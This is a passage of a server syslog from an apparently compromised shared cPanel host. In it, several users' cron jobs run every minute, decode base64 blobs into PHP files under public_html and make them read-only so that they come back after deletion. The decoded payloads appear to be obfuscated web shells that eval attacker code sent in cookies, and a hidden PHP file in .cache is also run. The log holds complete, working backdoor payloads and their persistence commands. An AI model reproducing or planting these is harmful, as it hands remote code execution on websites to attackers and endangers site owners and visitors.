eWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:57:01 medusa CROND[8171]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:57:01 medusa CROND[8173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:57:01 medusa CROND[8177]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:57:01 medusa CROND[8179]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:57:01 medusa CROND[8181]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:57:01 medusa CROND[8182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:57:01 medusa CROND[8183]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:58:01 medusa CROND[23607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:58:01 medusa CROND[23748]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:58:01 medusa CROND[23749]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:58:01 medusa CROND[23750]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:58:01 medusa CROND[23751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:58:01 medusa CROND[23753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:58:01 medusa CROND[23752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:58:01 medusa CROND[23755]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 13:58:01 medusa CROND[23757]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:58:01 medusa CROND[23762]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:58:01 medusa CROND[23770]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:58:01 medusa CROND[23772]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:58:01 medusa CROND[23775]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:58:01 medusa CROND[23780]: (cuartop) CMD (ls)
Mar  2 13:58:01 medusa CROND[23781]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:59:01 medusa CROND[1712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:59:01 medusa CROND[1734]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:59:02 medusa CROND[2025]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:59:02 medusa CROND[2026]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:59:02 medusa CROND[2027]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:59:02 medusa CROND[2036]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:59:02 medusa CROND[2037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:59:02 medusa CROND[2048]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:59:02 medusa CROND[2053]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:59:02 medusa CROND[2056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:59:02 medusa CROND[2057]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:59:02 medusa CROND[2065]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZ